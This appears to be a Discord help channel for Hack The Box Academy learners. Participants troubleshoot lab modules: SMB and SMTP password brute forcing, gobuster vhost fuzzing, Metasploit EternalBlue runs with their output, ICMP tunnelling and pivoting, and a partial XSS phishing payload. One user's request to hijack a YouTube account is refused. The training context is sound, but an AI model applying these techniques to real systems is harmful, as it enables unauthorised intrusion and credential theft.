#modules

1 messages Β· Page 309 of 1

fathom pendant
#

yeah... that's not how that works

viral snow
#

Ok?

fathom pendant
#

you need to bruteforce a username and password

#

IPC$ generally isn't a directory (per se)

viral snow
#

Well, I did the same thing with CASSIE, and still got the same error message

fathom pendant
#

did you find their password?

viral snow
#

Yes

fathom pendant
#

and did you connect to their share?

viral snow
#

I got not the username and the password

#

Yes

fathom pendant
#

is the password the first in the password list?

#

:)

#

also in your connect command i don't see you pass the -U for the user

viral snow
#

Typo, but yes I did -U

#

I got both the username and the password

hoary gull
#

Hello ! I'm currently a little bit stuck on Password Attack Modules. I succeded in having a meterpreter on 10.129.202.23. This target has a IC that allows me to connect to 172.16.1.0/24. It has the IP 172.16.1.5.
I also have a reverse shell on 172.16.1.10.
My goal is to put a msfvenom payload in the 172.16.1.10, so that I can then do a reverse port forwarding to my kali linux, so that I can have a meterpreter of this target 172.16.1.10 in my kali. But I can't find a way to transport the file from my kali to 172.16.1.10, or from 172.16.1.5 to 172.16.1.10.

fathom pendant
#

smbclient -U "USERNAME" //ip/CASSIE/
<password> 1..0

viral snow
#

wtf? Hold on

#

Well yeah, that's what I did

#

What I found odd was the username and the password were the same ones I had to use for WinRM

fathom pendant
#

that would be incorrect then

#

each of the services has a unique logon

viral snow
#

Hmm...

#

brb

fathom pendant
#

try bruteforcing C

viral snow
#

That's weird because I used crackmapexec, and that's the result I got

fathom pendant
#

well did you add the -local-auth?

viral snow
#

Let me try that

#

Got an error

fathom pendant
#

maybe it's --local-auth

#

for cme/nxc

#

it's been a min i'd have to look at the man page

#

yeah it's --local-auth

viral snow
#

I got the same username and password

#

Odd πŸ€”

#

It's --local-auth

fathom pendant
#

--continue-on-success

viral snow
#

Let me try that

fathom pendant
#

but in reality you could make this easier on yourself by just doing smbclient -U "" -L //ip

#

and make an educated guess as to what the username is

#

you can additionally do --shares

#

in cme/nxc

viral snow
#

Same thing, what the heck?!

fathom pendant
#

--shares will enumerate share access

#

but again

#

you're making this way harder on yourself

#

look at the sharenames and tell me you can't make an educated guess as to whom the user may be

viral snow
#

I'm wondering if I messed something when I had to use the same username and password for WinRM πŸ€”

#

That's the thing, I got the shares.

fathom pendant
#

dude

viral snow
#

I'm trying to get the flag

fathom pendant
#

just because you can LIST shares doesn't mean the user has access to them

#

look at the sharenames

#

when you list them

#

and think

#

:)

#

the sharename isn't any of the x$ shares

fathom pendant
#

you won't be able to enumerate another service with the creds you find

viral snow
#

No no, I get that. My problem is why ls gives me an error message.

#

I got the shares

fathom pendant
#

because you're not connected to the fileshare that has anything

#

as i've been saying

#

🀦

#

you generally can't enumerate IPC$

#

but also

#

you need to be the right user to enumerate it

#

if you're not the right user, smb says no

#

the user is c*

#

--continue-on-success btw is so that it continues even after it hits a positive result

#

but any valid user on the machine can list the shares

steady dagger
#

Wondering if anyone can shed some light on what I'm doing wrong.
Module: Web Fuzzing - Virtual Host
The input is: $ gobuster vhost -u http://inlanefreight.htb:42042 -w /usr/share/seclists/Discovery/Web-Content/common.txt --append-domain

The output is: Error: error on running gobuster: unable to connect to http://inlanefreight.htb:42042/: Get "http://inlanefreight.htb:42042/": dial tcp: lookup inlanefreight.htb on 103.86.96.100:53: no such host

But when i run: $ gobuster vhost -u 94.237.57.131:42042 -w /usr/share/seclists/Discovery/Web-Content/common.txt --append-domain
I only get "Found: Status: 400" enumerations.

fathom pendant
#

the error shows a different publicIP

fading cipher
#

Is there a way I can view how the modules solve certain questions?

quasi wave
#

hi I'm on the last question of assessment. I identified I am supposed to use Eternal Blue to exploit this machine. I know the machine is vulnerable but I am getting this error:

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 172.16.1.5:4444 
[*] 172.16.1.13:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.16.1.13:445       - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard 14393 x64 (64-bit)
[*] 172.16.1.13:445       - Scanned 1 of 1 hosts (100% complete)
[+] 172.16.1.13:445 - The target is vulnerable.
<SNIP>

[-] 172.16.1.13:445 - Did not receive a response from exploit packet
[*] 172.16.1.13:445 - Sending egg to corrupted connection.
[*] 172.16.1.13:445 - Triggering free of corrupted buffer.
quasi wave
fathom pendant
#

there's a handful of eblue some include exec in their name

quasi wave
#

ok got it thanks

nova wharf
#

hey qq: I'm working on the linux privilege escalation/ enviroment enumeration section and I was wondering if I can get any hints on where to be looking I've looked in home directories / etc/passwd /tmp /var/tmp. I looked on gtfobins different ways to escalate with /bin/ncdu and I guess I'm just not understanding what I'm missing.

fathom pendant
quasi wave
#

I'm trying a different exploit now. This one is giving me an error that says exploit completed but no session created:

#
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 172.16.1.5:4444 
[-] 172.16.1.13:445 - Rex::ConnectionTimeout: The connection with (172.16.1.13:445) timed out.

[*] Exploit completed, but no session was created.
fathom pendant
quasi wave
fathom pendant
nova wharf
#

I do too like / man pages for machine I'm on

fathom pendant
#

:)

quasi wave
#

now I have right LHOST I think because got different result:

msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] 172.16.1.13:445 - Target OS: Windows Server 2016 Standard 14393
[*] 172.16.1.13:445 - Built a write-what-where primitive...
[+] 172.16.1.13:445 - Overwrite complete... SYSTEM session obtained!
[*] 172.16.1.13:445 - Selecting PowerShell target
[*] 172.16.1.13:445 - Executing the payload...
[+] 172.16.1.13:445 - Service start timed out, OK if running a command or non-service executable...
[*] Exploit completed, but no session was created.
#

but still no session created

#

is it the port number?

fathom pendant
#

don't adjust the port

#

i would say at this point reset the target and try running it again

#

this assessment can be dumb sometimes

quasi wave
#

ok thanks

#

will do

safe star
#

Try bind

quasi wave
#

I reset the target I got same result:

msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] 172.16.1.13:445 - Target OS: Windows Server 2016 Standard 14393
[*] 172.16.1.13:445 - Built a write-what-where primitive...
[+] 172.16.1.13:445 - Overwrite complete... SYSTEM session obtained!
[*] 172.16.1.13:445 - Selecting PowerShell target
[*] 172.16.1.13:445 - Executing the payload...
[+] 172.16.1.13:445 - Service start timed out, OK if running a command or non-service executable...
[*] Exploit completed, but no session was created.
quasi wave
#

hold on

#

ok changed lhost

fathom pendant
#

make sure you do ip a; as a shortcut in msfconsole, if you know the interface name, you can just do set <interface name> and msfconsole does magic

viral snow
#

cheese and crackers! FINALLY!!!

viral snow
#

My gif won't show?

#

Shame

fathom pendant
#

because your account isn't linked

viral snow
#

I saw where I went wrong πŸ™„πŸ€¦πŸ½β€β™‚οΈ

quasi wave
#

I tried all three different LHOSTS and it wouldn't do anything

safe star
#

Try bindshell

fathom pendant
#

wtf are you on about?

#

do you even know the module and question he's doing?

quasi wave
#

all three LHOSTs give same result

fathom pendant
viral snow
#

Ok, on to the next one ☺️

quasi wave
safe star
#

Metasploit right?

fathom pendant
#

the lhost should be the 172.16 one

fathom pendant
quasi wave
fathom pendant
#

shells and payloads module

safe star
#

Oh yeah

fathom pendant
#

another thing is potentially changing vpn region and respawning the target, and seeing if that makes it work

#

Β―_(ツ)_/Β―

quasi wave
#

wait I got a meterpreter

fathom pendant
#

weird that it would work for 2/3 hosts

#

ah

#

well the rest is ez

quasi wave
#

got flag

safe star
#

Nice

nova wharf
#

okay so I'm just not getting it I've read through the section in the man pages about shell and saw this command
"export NCDU_SHELL=vifm
ncdu"
It spawns a shell in the dir I'm in but how do I know if i have used it right or not

fathom pendant
#

also sudo is helpful

nova wharf
#

idk why I'm overthinking this so much

#

maybe I'm just burnt out today

fathom pendant
#

sudo has some fun things you can do like with id # instead of username

cloud urchin
fathom pendant
cloud urchin
#

literally the first command i run when i get a foothold in linux

inner geyser
#

anyone else having VPN issues? Wasn't joining on US5 so i went to switch and only have access to the generic 'academy-regular'

fathom pendant
#

that don't look right

inner geyser
#

yeah i also logged out and logged back in....may clear web browser i guess

#

or i'll try private browser first

#

private browser worked, looks like it's time to delete all the web things

cloud urchin
#

just ctrl + shift + r

fathom pendant
#

^

#

sorry i guess not everyone knows what hard vs soft refresh means

#

soft refresh is just the ctrl+r that keeps cache; you'd note the lack of a get request in the network tab

#

ctrl+shift+r does a clear of cache for the loaded resource

inner geyser
#

yeah ctrl+shift+r didn't change it either

#

appreciate the tips though, i definitely wasn't aware of the hard refresh

fathom pendant
#

ye

#

basically forces your client to call the server for an update

#

instead of relying on what's in your cached page

#

fuckin lmao the hostname

cloud urchin
#

keep my hostname out of your fuckin' mouth

worn matrix
#

Pivoting, Tunneling, and Port Forwarding

RDP and SOCKS Tunneling with SocksOverRDP ,This assessment is just broken.I can't connect,and very time there is a different problem

cloud urchin
#

try another region

#

also make sure to modify the rdp settings as shown in the module for connection stability

#

finally

dim wolf
#

congrats

inland sonnet
#

Admins, I have completed all of the SOC path except 2 sections, which I am unable to complete due to rdp Issues. I have tried all of the Troubleshooting Methods. The machines just freeze or i encounter weird problems like the machine just dropping the RDP connection. Can someone help me with these 2 sections so that I can complete the path?

#

I have been stuck at these 2 (Windows Attack/Defense) for the better part of a week now 😦

green aurora
#

Any hint mode xss section phishing. When I send url it says issue sending url what the issue in that no clear hint is given by htb

fathom pendant
#

Been a hot minute since I finished it

#

Let's not share the payload

green aurora
#

when i send it says issue in sending url

fathom pendant
#

And does that payload work just fine on your end when testing it?

green aurora
#

yes i tested it works fine but when i go to send.php it says issue in sending url

#

any hint why it not working

fathom pendant
#

Β―_(ツ)_/Β―

green aurora
#

i have tried still not working

#

and paylaod is already encoded

storm elk
#

Did you remove the port from the url?

green aurora
#

what port

storm elk
#

Oh wait, I was thinking about the advanced xss module

green aurora
#

ohh no

fathom pendant
green aurora
#

no

#

olny ip

fathom pendant
#

Again

#

Don't send payload, as it's a spoiler

fathom pendant
green aurora
#

yes

fathom pendant
#

Ah

green aurora
#

i tried with port 80,8080

#

443

fathom pendant
#

Lemme dig up my payload

green aurora
#

??

fathom pendant
#

So I can see what I did to guide you

#

You goober

green aurora
#

??

#

now m stuck what should i have to do

fathom pendant
#

no if you've properly escaped the tag that your payload gets sent to it should work

#

though from what you showed it looked like you started with ( for some reason (unless that was some typo or something)

#

if that wasn't, i want you to inspect the page source of where your payload is getting placed

#

and also don't forget to add the html comment at the end

#

<!--

#

i absolutely hate the fact that I can read the Hex code/url encode for my payload

#

i'm telling you something you did to escape was wrong

#

it shouldn't start with ( or'

green aurora
#

can u share your payload

storm elk
fathom pendant
#

all the "> and stuff man

green aurora
#

so what should i have to do now

fathom pendant
storm elk
#

Apply it to the exercise

fathom pendant
#

look at EXACTLY where your payload is getting dropped

#

is it getting dropped, for instance, inside a tag, in between quotes

#

just from seeing what i've deleted from you

#

the beginning of your payload is wrong; the rest is right

#

you haven't escaped the matrix

#

oi

storm elk
#

Spoilers please

fathom pendant
#

do i need a bigger stick

storm elk
fathom pendant
#

YOU'RE SPOILING CONTENT

#

jfc

green aurora
#

sorry that why i have sended half payload

fathom pendant
#

the payload is a spoiler since it practically gives away how to get the answer

#

the payload portion is what you've been sending

#

http://ip/phishing/index.php?url=

#

ok

green aurora
#

it is mention in section

fathom pendant
#

and the module isn't tier 0

#

so

green aurora
#

i just shared what is mention in section

fathom pendant
#

it's still revealing content that's technically paid

green aurora
#

ok

fathom pendant
#

only t0 content is "free" and able to be shared with no consequences, according to HTB ToS

#

:)

#

ANYWAY

#

neway

green aurora
#

;document.getElementById('urlform').remove();</script><!-- my last part is like this

fathom pendant
#

i've given you the hint on where to look first

#

inspect where your payload is getting dropped

green aurora
#

i didnt get it could u please make it easy

fathom pendant
#

can't say it any more clearly than i have been

#

the module shows you in-fact

#

about inspecting the page source

green aurora
#

okay.. let me check it again

fathom pendant
#

anyway whenever you're crafting any sort of web injection payload, you want to know at what element your payload is getting dropped

#

the only way to see where it's dropping in at, is to view the source

#

and I am not giving you a hint in DM

storm elk
#

How long is your streak @fathom pendant

fathom pendant
#

21

storm elk
#

Nice! I’m at 24 but probably losing it 😦

#

Off work - and wife/kids are keeping me busy lol

frosty tide
#

Hello, anyone done the Skills Assessment of Server Side Attack Module? The assessment give us a low-previlege user credential but I couldn't find a way to login
Anyway I already got the flag without login but just wondering where I can use that credential

fathom pendant
#

correctly observed

#

note exactly where in the tag it's placed

#

:)

#

(this is also why this is dangerous)

green aurora
#

why url : phishing or phishing/send.php

fathom pendant
#

?

#

i just meant having user input being directly placed into your html form with no validation

green aurora
#

yes there is no validation in user input

fathom pendant
#

anywhey

#

your input gets placed firmly in between two quotes

green aurora
#

"input" if i do like this : "payload is start adding quot ""payload"

fathom pendant
#

why not just escape the image tag? :)

green aurora
#

i cant understand everything is fine when i send the malicious url to victum in send.php it saya issue in sending url thats all

fathom pendant
#

well

#

that means there's something wrong with your payload

#

is what i'm getting at

wicked apex
#

Moduel: pivoting, tunneling & lateral movement
Section: ICMP tunnel
I have compiled the static binary and had it running in the ubuntu pivot host (whose ip is 10.129.202.64) w/ || sudo ./ptunnel-ng -r10.129.202.64 -R22 ||
I also had it running to connect to the tunnel from attack host to the ubuntu machine w/|| sudo ./ptunnel-ng -p10.129.202.64 -l2222 -p10.129.202.64||
after that I try to connect to the tunnel and forward it to 9050 for proxychains: ||ssh -D 9050 -p2222 -lubuntu 127.0.0.1||
and when I scan the remote target address w/ command || proxychains nmap -sT -sV 172.16.5.19, returns that all host is down or filtered.
Did I messed up the tunnel building procedure?

cloud urchin
#

how'd you compile the binary

wicked apex
#

there aint configure file without compiling it first w/ autogen.sh

dapper moth
#

Can someone help me in the Introduction to Windows Evasion Techniques - Static Analysis?

I've compiled the executable in the Dev Host, tested, got a callback to msfconsole.
Uploaded the file to the directory, check says it's not detected by Defender but no flag is created

pliant coyote
autumn pilot
#

because you are using the wrong credentials

pliant coyote
#

That's impossible. I copied and pasted it.

autumn pilot
#

it is possible

modest remnant
#

especially when you're using the wrong user name.

safe star
#

Yup

modest remnant
#

which is understandable I guess since pretty much every other exercise I've done uses 'htb-student'. haha

robust quartz
#

I'm stuck on the first question in the practical digital forensics scenario module. I've done base64 decoding from the suspicious poweshell then I looked for the payload in the github repo but there were no results. can anyone help me?

pliant coyote
#

holyshit

rustic sage
unique ether
#

Any idea why there is no explanation of modules in a video style?

#

Sometimes reading gets me exhausted

safe star
#

fr

#

just gotta take a break and come back later

rustic sage
shut quest
unique ether
shut quest
#

but just about everything in cyber is all text based, the code, the reports, the write-ups, the documentation

robust quartz
rustic sage
pliant coyote
#

I tried the answers one by one.

rustic sage
rustic sage
# pliant coyote https://academy.hackthebox.com/module/51/section/470I have absolutely no idea wh...
rustic sage
#

imposter lmao

pliant coyote
#

The answer is that I figured it out through trial and error

quasi jewel
#

Hi there, I'm trying to solve Academy question, and I'm scanning for services running on non-standard ports, should thins be taking crazy amount of time, like 1hr or more?

pseudo kiln
#

that's too vague of a question without seing the actual scanning technique

quasi jewel
#

I'm scanning all ports, since a service is running on a non-standard port

pseudo kiln
#

you could try using -T5

rustic sage
#

or -T4

pseudo kiln
#

though the faster the scan, the more likely it is to miss a port

rustic sage
#

first run basic nmap test nmap 10,129.250.56 later specify ports like this nmap -p 21,22,

quasi jewel
#

Oh so I already did do that and found my answers, on this particular question, I'm looking for telnet running on a non-standard port, that's why I'm scanning all of them.

quasi jewel
pseudo kiln
#

it could also be VPN issue, I would try a ping too and if jitter is all over the place, that would slow down the scan

quasi jewel
pseudo kiln
#

yeah, I would switch vpn location then, that does the trick for me sometimes

solid moth
#

can anyone tell me why my proxychains doesn't work ?

quasi jewel
storm elk
umbral fulcrum
#

Hey guy, can someone give me a little nudge on Web Service & API Attacks - Skills Assessment please

marsh echo
safe dock
#

Is job role path free to access guys ?

acoustic owl
acoustic star
#

Anyone here can help me with a problem in Linux mint?

wicked apex
safe dock
#

How much I have to pay for learning and attending penetration testing job role path?

wicked apex
safe dock
#

.edu email will be provided by the clg right?

wicked apex
safe dock
#

How much is for subscription ?

umbral fulcrum
umbral fulcrum
grand solar
#

anyone know if there is problem with the AD enumeration & attacks section? I try to xfreerdp in to the boxes but its just a black screen then disconnects

grand solar
#

the black screen you just hit enter it works, but the rdp session randomly hangs and disconnects...

gray yacht
glad sand
#

hey , im doing pass the ticket in linux,

Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \\DC01\julio.
i got the flag but it tells me that my submission is wrong

gray yacht
gray yacht
gray yacht
austere blade
#

Hi everyone, I hope you’re all well,
for the β€˜Attacking Common Services - Hard’ module I’ve already solved it by
first impersonating a J User…
using testadmin of the linked server LOCAL.TEST.LINKED.SRV to execute commands
using xp_cmdshell directly to get the flag, apparently there’s another way to log in or get the admin hash, and I tried but couldn’t
(using responder to capture the hash), I’d like you to please help me with the second method
thks…

umbral fulcrum
acoustic owl
acoustic owl
acoustic owl
#

Take another close look at the Xpath section. You don't have to bruteforce anything

acoustic owl
wicked apex
#

Is there a wiser way of doing windows-to-windows file transfer other than base64 text copy and paste and decode?
I figured that impacket-smbserver, python server etc can be used in a Linux attack host, but what about windows-to-windows in a real engagement? (maybe cifs?)

autumn pilot
#

you can mount a drive in an rdp session and copy/paste the file you need

marsh echo
acoustic owl
#

No, you don't need all the data. Look in the module how you can filter data.

grand solar
spark spruce
#

DM

fathom pendant
grand solar
#

I did it using udp vpn, but also tried it using the pwnbox

fathom pendant
#

Well if you're trying with pwnbox, turn off the vpn on your vm

onyx rapids
#

Has anyone done : "Error-based SQL Injection" section of the "Advanced SQL Injections"

I dumped the database, found the user potus4 as requested, took the java code that does the password reset and swapped the variables with the dumped user information. Now HTB is telling me my password reset link is no good. I swear I'm so confused, everything looks good. I tried in python, java and the password reset link is always the same, so I don't know why HTB won't accept it as the answer

crisp remnant
#

Anyone completed the WhiteBox Attacks module, i need just a bit of assistance on the client side prototype pollution

onyx rapids
crisp remnant
onyx rapids
crisp remnant
#

Yep i have done it, ping me in DM

urban forge
#

Hi

untold mortar
#

good day. I am running into a mental block ith a couple of questions in the Linux undamentals System Information

acoustic owl
untold mortar
acoustic owl
fathom pendant
#

We're not mind readers we don't know what you're struggling with, just that you're struggling

marsh echo
untold mortar
fathom pendant
fathom pendant
#

prtgadm1 (from the example) not prtgadmin1

real tapir
#

I'm having trouble with gobuster vhost scanning: academy.hackthebox.com/module/280/section/3132
Using GoBuster against the target system to fuzz for vhosts using the common.txt wordlist, which vhost starts with the prefix "web-"? Respond with the full vhost, eg web-123.inlanefreight.htb.
I ran the command gobuster vhost -u http://IP:PORT -w /usr/share/seclists/Discovery/Web-Content/common.txt --append-domain, replacing IP:PORT with the target's ip and port number. It finished the scan after 4 thousand requests, and checking with wireshark, the requests are correctly formatted. It did not return any successes. What am I doing wrong?

marsh echo
eager ruin
#

Wrong?

fathom pendant
orchid falcon
#

hello, can smdy help me for a module of CDSA : Windows Event Logs & Finding Evil

On the skills assessment question 3 : By examining the logs located in the "C:\Logs\PowershellExec" directory, determine the process that injected into the process that executed unmanaged PowerShell code. Enter the process name as your answer. Answer format: _.e

im rly blocked to continue .. i dont understand how to find this

gilded radish
real tapir
fathom pendant
#

Or inlanefreight.htb

#

πŸ˜„

real tapir
#

oh

#

what do I use?

fathom pendant
#

What does the question/"vhosts needed" tell you?

eager ruin
real tapir
# fathom pendant What does the question/"vhosts needed" tell you?

this is the question: Using GoBuster against the target system to fuzz for vhosts using the common.txt wordlist, which vhost starts with the prefix "web-"? Respond with the full vhost, eg web-123.inlanefreight.htb. the target system is the ip and port I have. I used the command provided above in the guided instruction section

eager ruin
fathom pendant
#

I believe with gobuster it's -d or --domain

#

(Or you add it to your /etc/hosts)

real tapir
#

ah ok

eager ruin
eager ruin
fathom pendant
# real tapir ah ok

Also in future use the module and section name, not just the endpoint (/module/...)

#

Because that really isn't helpful

fathom pendant
#

And section

eager ruin
fathom pendant
#

Also try the singular, not plural

eager ruin
fathom pendant
real tapir
# fathom pendant Because that really isn't helpful

oh ok I'll try to remember that. even after adding the domain to /etc/hosts, gobuster gives an error:
Error: error on running gobuster: unable to connect to http://inlanefreight.htb:81/: Get "http://inlanefreight.htb:81/": dial tcp: lookup inlanefreight.htb on 8.8.8.8:53: no such host
this happens with and without specifying the port 81

fathom pendant
#

Or whatever section you're working on

eager ruin
#

Module: Intro to Active Directory
Section: Active Directory Objects

fathom pendant
real tapir
fathom pendant
#

You don't include the port in the hosts entry

real tapir
#

I added this line: IP inlanefreight.htb

fathom pendant
#

And did you specify the port in your gobuster command?

#

:)

real tapir
#

yes, I did. I also tried without specifying the port

fathom pendant
rustic sage
#

Does any one know why on Web Attacks > advance file disclosure I can't use CDATA method to include /etc/passwd but I can use the regular method

#

I know that my payload works

fathom pendant
real tapir
# fathom pendant Did you specify http://inlanefreight.htb:PORT ?

I ran both these commands:
gobuster vhost -u http://inlanefreight.htb:81 -w /usr/share/seclists/Discovery/Web-Content/common.txt --append-domain
gobuster vhost -u http://inlanefreight.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt --append-domain
the first command is exactly the same as is given by the section, just with a different capitalization for "seclists" in the path

fathom pendant
#

It's a docker container with an ip:port no?

#

The :81 in the example is to show that you can specify a different port

rustic sage
real tapir
#

which port do I use?

fathom pendant
fathom pendant
#

It's a publicIP:PORT

#

The publicIP is what you put in /etc/hosts with the domain, and the port is what you use in your requests http://domain:port/

real tapir
#

ah I tried that. it doesn't work

fathom pendant
#

Wdym "doesn't work"

#

Doesn't work isn't an error

real tapir
#

I took the inlanefreight.htb ip and the port from the target spawn (a number). the error is the same as before, just with a different port (mee6 doesn't like me sending a similar message again)

fathom pendant
#

sigh what does the entry look like?

#

If it's ip:port in the hosts entry, that's why

#

But also if you read and follow #welcome you'll be able to post code blocks/formatted messages

real tapir
#
└──╼ $cat /etc/hosts | tail
# Host addresses
...
# Others
IP inlanefreight.htb
brazen knot
#

is there an "easy" way to transfer files from Windows to Linux? taking apart the b64 encoding, nc and shared drive on rdp

fathom pendant
#

Not shortened

storm elk
#

If a vm

fathom pendant
real tapir
fathom pendant
#

Wait

#

Do you literally have the text IP in your hosts file?..

brazen knot
brazen knot
#

thank you all btw

fathom pendant
real tapir
#

oh. it gave me the command echo "IP inlanefreight.htb" | sudo tee -a /etc/hosts

fathom pendant
real tapir
#

ohhh that makes sense

fathom pendant
#

It can't route to something if it doesn't know what it's routing to

real tapir
#

ok it's finding stuff.

fathom pendant
#

πŸ‘

real tapir
#

I got the answer. thank you

real tapir
#

somehow I always have the stupidest mistakes

fathom pendant
#

Too caught up in the reading

#

It happens

steady charm
#

Could use a different perspective for Active Directory Enumeration & Attacks, Privileged Access section. I have a cypher query I can run in BH to view all principals who have PSRemote privileges but my BH query does not return anything while the course (and the assessment question) suggest it should. Why is that happening since the data I've dumped is as shown in the course

storm elk
#

This is a channel for academy content

#

Which module is this for?

#

Hacking is illegal

#

Either way is not the place for this

#

That’s what they all say. But this is not the place to ask/share exploits. It’s for help with academy modules only.

dense pewter
#

Hello, I'm doing the question on the "Data Movement" section of the "Intro To Assembly Language".

They want me to make some changes to this assembly code but it is throwing a SIGSEGV on the very first instruction. Doesn't seem like that's intended.

global _start

section .text
_start:
    mov rax, 1024
    mov rbx, 2048
    xchg rax, rbx
    push rbx

This is the GDB output

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401005 <_start+0005>    mov    ebx, 0x800
     0x40100a <_start+000a>    xchg   rbx, rax
     0x40100c <_start+000c>    push   rbx
 β†’   0x40100d                  add    BYTE PTR [rax], al
     0x40100f                  add    BYTE PTR [rax], al
     0x401011                  add    BYTE PTR [rax], al
     0x401013                  add    BYTE PTR [rax], al
     0x401015                  add    BYTE PTR [rax], al
     0x401017                  add    BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "mov", stopped 0x40100d in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40100d β†’ add BYTE PTR [rax], al
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
#

Am I doing something wrong? Is this intended?

dim wolf
dense pewter
#

Ah, sorry, I completely misread the output. I didn't set any breakpoints, I tried to just run the program as is to ensure that everything was working and the error threw me off. Should have done that

past relic
#

Helloo, for some reason I'm really stuck on the Attacking Common Services module at the SMTP section. I understand what needs to be done but when using hydra to brute force the password but have no results (have checked the forum and youtube videos to confirm that I was doing the correct thing). Can anyone please help me out πŸ™

fathom pendant
past relic
#

and am using the full username to perform the bruteforce

fathom pendant
#

also sometimes you need user@domain sometimes you just need user

past relic
fathom pendant
#

redact the username; i also assume you're using the given wordlist from the module?

past relic
#
hydra -l <username> -P pws.list -f 10.129.136.69 smtp
#

Yes using the wordlist from the resources

fathom pendant
#

i generally do protocol://ip but it doesn't matter too much

#

try another mail protocol ? (SMTP usually runs alongside IMAP and POP3)

past relic
#

I also tried with pop3 but no luck, will attempt with imap

fathom pendant
#

often SMTP isn't running an auth service

#

and is just used as the relay

past relic
#

aha I see, okay will give it a try now

#

still no luck

fathom pendant
#

sec

past relic
#

is there any chance that the specific target host has an error or is that unlikely?

fathom pendant
#

if the given wordlists don't work, always fall back to rockyou

past relic
#

Okok will try out now

fathom pendant
#

also don't worry about the expected time it says for rockyou to complete

#

expected time != actual time

#

it's easy to see 143333 hours and go "UHHHH"

past relic
#

I couldn't find anything with rockyou either.

#

I don't think it's a wordlist issue though

fathom pendant
#

you can't have run through rockyou that fast

#

also in this instance it's user@domain for the login

past relic
fathom pendant
#

the password isn't that deep on the list

#

you're running default threads yeah? (like 16 or something?)

#

should crack nearly instantly

#

my syntax was hydra -l user@domain -P /path/to/rockyou.txt smtp://IP

#

and like almost the second it popped it started it found it

#

:)

past relic
fathom pendant
#

nope

#

i didn't do any changes to threads

past relic
#

interesting

fathom pendant
#

i'd reset the target and test with a new target

past relic
fathom pendant
#

(note I just tested with a fresh spawn, and it worked)

snow bramble
#

Hello everybody, sorry for my bad english but i really need your help, I am being harassed a lot for a toutubz account that I created when I was little, I want to delete it but I lost my codes and my email I don't even know which email is associated with this account, I really need help I really want all this to end please help me

#

If someone can just de l’étΓ© thΓ© account for me, its a very small account with like 15 follower its should be easy

#

YouTube *

past relic
storm elk
snow bramble
#

Oh why

storm elk
#

This isn’t hacker for hire

#

Contact YouTube support is your best bet

snow bramble
#

…

#

Them didnt answer me

#

Iam finally cook

storm elk
#

We can’t help you with this

#

Hacking YouTube is illegal. Asking someone to perform illegal things is also against discord ToS

snow bramble
#

But no one Will realise then thΓ© account was hacked because i have like 15 follower, and thΓ© last vidΓ©o was in 2017 thΓ© account is forgot

storm elk
#

Contacting YouTube support again is your only option

snow bramble
#

You cant even just tel me what is the e-mail of the youtube account

#

And i Will do thΓ© ready

#

Rest

storm elk
#

No. Please stop asking about help with your YouTube problem. We won’t help you

#

Ask YouTube support

snow bramble
#

Okay Iam sorry bro…

heady laurel
#

I am curious how you all did footprinting medium if you remember. If i remember correct you weren’t supposed to run exploits, then i got sick and tired and did it anyway to get LPE.

I bodysearched each and every server in the subnet and outside lmfao, the sa creds i found dint do jack and another hash refused to get cracked and couldn’t use it to PtH. After spending more time than i think i should’ve, i just said fk it and ran printnightmare exploit i always have saved

storm elk
heady laurel
#

Tried playing by the rules but sometimes i’m too inpatient

dim wolf
#

the module is all about enumeration

heady laurel
#

Then i did wrong, i was unsure because it was only mentioned in the first part

#

But man did i enumerate

snow bramble
#

Yes i Will try it

heady laurel
#

I have 10 txt files if scans

#

Ping sweeps

#

Everything

dim wolf
#

you did not enumerate thoroughly enough then

#

there isn't even a need to ping sweep because it's only one target

heady laurel
#

Overcomplicated it a bit; during the enumeration i saw that it wasn’t a DC

#

Tought the DC was the goal

dim wolf
#

it's a single target though..

heady laurel
#

Nah wait a second

#

When i said i literally enumerated every single corner, i wasn’t lying. Looking at how it was supposed to be done originally, it was one of the first things i did

#

And it did not work for me

#

After that i started ping sweeping because i tought that wasn’t it

#

Tought it was a red herring

dim wolf
#

but you're given a single target

#

and you can only spawn a single target, it isn't a network

heady laurel
#

Don’t know how it works in HTB, but some CTFs i’ve done before started with one target, and considering it is about enumeration, and not being able to use the credentials i found, i started thinking i’m maybe supposed to look at all the other servers

#

To use the credentials

#

Or find more credentials

dim wolf
#

you will be told if you are working with a single target or a networked environment

#

and in the given scenario, it tells you that you're working with one server

heady laurel
#

Alright, i used remmina, have you heard abt it being a problem before

#

Because that’s what i used trying to do the original method

dim wolf
#

usually it's xfreerdp that has issues

heady laurel
#

Yeah it crashed on me 100 times

#

So i went to remmina instead

storm elk
#

Remmina ftw

dim wolf
#

i also wouldn't assume that exercises give you red herrings

#

given that these exercises are designed to test you on what you're taught in the module

#

they are not CTFs

#

virtually every exercise can be completed with what is taught in the module, and doing stuff out-of-scope defeats the purpose of the exercise

fathom pendant
#

(i don't care to read up) what module/exercise is he working through?

dim wolf
#

Footprinting - Medium Lab

#

seems like it could have been an issue with the lab environment, but considering i had the same issue as well and got through it, might be a user error

#

50/50

fathom pendant
#

yeah my notes on this lab are pretty streamlined

#

service A --> Service B --> test for reuse --> Success (dumbing down my flow a bit here, not saying what services for obvious reasons)

#

a proper scan of the environment shows many doors ed boi

#

i believe i found something important by just clicking around, but apparently i just had to do something else related to a service to find it easier kek

#

then just test for password reuse/runas (Though UAC doesn't let you copy/paste)

rich mulch
#

